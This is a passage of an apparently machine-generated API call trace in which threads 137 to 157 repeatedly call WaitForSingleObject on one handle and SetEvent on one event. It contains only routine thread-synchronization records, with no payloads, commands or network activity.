WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.330] SetEvent (hEvent=0x344) returned 1 [0067.330] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.447] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.674] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.180] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.358] SetEvent (hEvent=0x344) returned 1 [0068.358] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.025] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.237] SetEvent (hEvent=0x344) returned 1 [0069.237] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.527] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 137 os_tid = 0x10e8 [0066.475] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.632] SetEvent (hEvent=0x344) returned 1 [0066.632] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.039] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.203] SetEvent (hEvent=0x344) returned 1 [0067.203] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.338] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.544] SetEvent (hEvent=0x344) returned 1 [0067.544] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.197] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.434] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.024] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.231] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.426] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0071.009] SetEvent (hEvent=0x344) returned 1 [0071.009] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 138 os_tid = 0x10ec [0066.476] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.632] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.040] SetEvent (hEvent=0x344) returned 1 [0067.040] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.202] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.338] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.542] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.016] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.197] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.434] SetEvent (hEvent=0x344) returned 1 [0068.434] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.024] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.232] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.422] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.999] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 139 os_tid = 0x10f0 [0066.476] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.631] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.037] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.200] SetEvent (hEvent=0x344) returned 1 [0067.200] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.338] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.541] SetEvent (hEvent=0x344) returned 1 [0067.541] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.016] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.215] SetEvent (hEvent=0x344) returned 1 [0068.215] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.438] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.050] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.240] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.598] SetEvent (hEvent=0x344) returned 1 [0070.598] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 140 os_tid = 0x10f4 [0066.477] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.631] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.038] SetEvent (hEvent=0x344) returned 1 [0067.038] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.196] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.338] SetEvent (hEvent=0x344) returned 1 [0067.338] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.540] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.017] SetEvent (hEvent=0x344) returned 1 [0068.017] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.213] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.439] SetEvent (hEvent=0x344) returned 1 [0068.439] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.050] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.241] SetEvent (hEvent=0x344) returned 1 [0069.241] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.585] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 141 os_tid = 0x10f8 [0066.477] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.644] SetEvent (hEvent=0x344) returned 1 [0066.644] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.041] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.220] SetEvent (hEvent=0x344) returned 1 [0067.220] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.346] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.545] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.030] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.218] SetEvent (hEvent=0x344) returned 1 [0068.218] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.437] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.051] SetEvent (hEvent=0x344) returned 1 [0069.051] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.238] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.519] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 142 os_tid = 0x10fc [0066.477] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.643] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.042] SetEvent (hEvent=0x344) returned 1 [0067.042] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.219] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.347] SetEvent (hEvent=0x344) returned 1 [0067.347] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.544] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.031] SetEvent (hEvent=0x344) returned 1 [0068.031] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.216] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.438] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.050] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.239] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.512] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0071.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 143 os_tid = 0x1100 [0066.477] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.645] SetEvent (hEvent=0x344) returned 1 [0066.645] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.055] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.221] SetEvent (hEvent=0x344) returned 1 [0067.221] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.402] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.557] SetEvent (hEvent=0x344) returned 1 [0067.557] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.036] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.327] SetEvent (hEvent=0x344) returned 1 [0068.327] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.452] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.155] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.244] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.648] SetEvent (hEvent=0x344) returned 1 [0070.648] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 144 os_tid = 0x1104 [0066.477] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.645] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.055] SetEvent (hEvent=0x344) returned 1 [0067.055] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.221] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.403] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.557] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.036] SetEvent (hEvent=0x344) returned 1 [0068.036] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.327] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.452] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.154] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.245] SetEvent (hEvent=0x344) returned 1 [0069.245] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.641] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 145 os_tid = 0x1108 [0066.477] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.645] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.040] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.201] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.339] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.546] SetEvent (hEvent=0x344) returned 1 [0067.546] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.032] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.220] SetEvent (hEvent=0x344) returned 1 [0068.220] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.452] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.219] SetEvent (hEvent=0x344) returned 1 [0069.219] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.248] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.634] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 146 os_tid = 0x110c [0066.477] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.644] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.041] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.201] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.339] SetEvent (hEvent=0x344) returned 1 [0067.339] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.545] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.034] SetEvent (hEvent=0x344) returned 1 [0068.034] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.220] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.452] SetEvent (hEvent=0x344) returned 1 [0068.452] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.218] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.249] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.627] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 147 os_tid = 0x1110 [0066.478] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.657] SetEvent (hEvent=0x344) returned 1 [0066.657] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.056] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.229] SetEvent (hEvent=0x344) returned 1 [0067.229] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.415] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.564] SetEvent (hEvent=0x344) returned 1 [0067.564] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.153] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.459] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.217] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.250] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.679] SetEvent (hEvent=0x344) returned 1 [0070.679] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 148 os_tid = 0x1114 [0066.478] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.656] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.057] SetEvent (hEvent=0x344) returned 1 [0067.057] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.228] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.416] SetEvent (hEvent=0x344) returned 1 [0067.417] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.563] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.155] SetEvent (hEvent=0x344) returned 1 [0068.155] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.459] SetEvent (hEvent=0x344) returned 1 [0068.459] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.216] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.250] SetEvent (hEvent=0x344) returned 1 [0069.250] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.678] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 149 os_tid = 0x1118 [0066.478] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.658] SetEvent (hEvent=0x344) returned 1 [0066.658] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.065] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.295] SetEvent (hEvent=0x344) returned 1 [0067.295] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.418] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.563] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.050] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] SetEvent (hEvent=0x344) returned 1 [0068.328] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.460] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.223] SetEvent (hEvent=0x344) returned 1 [0069.223] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.251] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.680] SetEvent (hEvent=0x344) returned 1 [0070.680] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 150 os_tid = 0x111c [0066.479] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.658] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.065] SetEvent (hEvent=0x344) returned 1 [0067.066] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.295] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.419] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.562] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.050] SetEvent (hEvent=0x344) returned 1 [0068.050] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.462] SetEvent (hEvent=0x344) returned 1 [0068.462] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.222] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.252] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.680] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 151 os_tid = 0x1120 [0066.479] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.658] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.056] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.220] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.403] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.562] SetEvent (hEvent=0x344) returned 1 [0067.562] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.035] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.219] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.451] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.157] SetEvent (hEvent=0x344) returned 1 [0069.157] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.242] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.575] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 152 os_tid = 0x1124 [0066.481] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.657] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.056] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.220] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.403] SetEvent (hEvent=0x344) returned 1 [0067.403] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.560] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.035] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.219] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.451] SetEvent (hEvent=0x344) returned 1 [0068.451] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.156] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.243] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.565] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 153 os_tid = 0x1128 [0066.481] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.667] SetEvent (hEvent=0x344) returned 1 [0066.667] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.160] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.294] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.419] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.577] SetEvent (hEvent=0x344) returned 1 [0067.577] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.156] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.341] SetEvent (hEvent=0x344) returned 1 [0068.341] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.462] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.221] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.253] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.680] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 154 os_tid = 0x112c [0066.481] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.666] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.162] SetEvent (hEvent=0x344) returned 1 [0067.162] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.294] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.419] SetEvent (hEvent=0x344) returned 1 [0067.419] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.576] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.157] SetEvent (hEvent=0x344) returned 1 [0068.157] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.338] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.463] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.220] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.254] SetEvent (hEvent=0x344) returned 1 [0069.254] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.679] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 155 os_tid = 0x1130 [0066.481] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.995] SetEvent (hEvent=0x344) returned 1 [0066.995] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.163] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.313] SetEvent (hEvent=0x344) returned 1 [0067.313] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.432] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.674] SetEvent (hEvent=0x344) returned 1 [0067.674] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.177] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.342] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.474] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.224] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.283] SetEvent (hEvent=0x344) returned 1 [0071.027] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 156 os_tid = 0x1134 [0066.482] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.995] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.163] SetEvent (hEvent=0x344) returned 1 [0067.163] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.311] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.432] SetEvent (hEvent=0x344) returned 1 [0067.432] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.673] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.179] SetEvent (hEvent=0x344) returned 1 [0068.179] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.342] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.474] SetEvent (hEvent=0x344) returned 1 [0068.474] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.224] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.468] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.998] SetEvent (hEvent=0x344) returned 1 [0070.998] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 157 os_tid = 0x1138 [0066.482] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.015] SetEvent (hEvent=0x344) returned 1 [0067.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.162] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.310] SetEvent (hEvent=0x344) returned 1 [0067.310] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.429] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.578] SetEvent (hEvent=0x344) returned 1 [0067.578] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.175] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.343] SetEvent (hEvent=0x344) returned 1 [0068.343] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.997] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.230] SetEvent (hEvent=0x344) returned 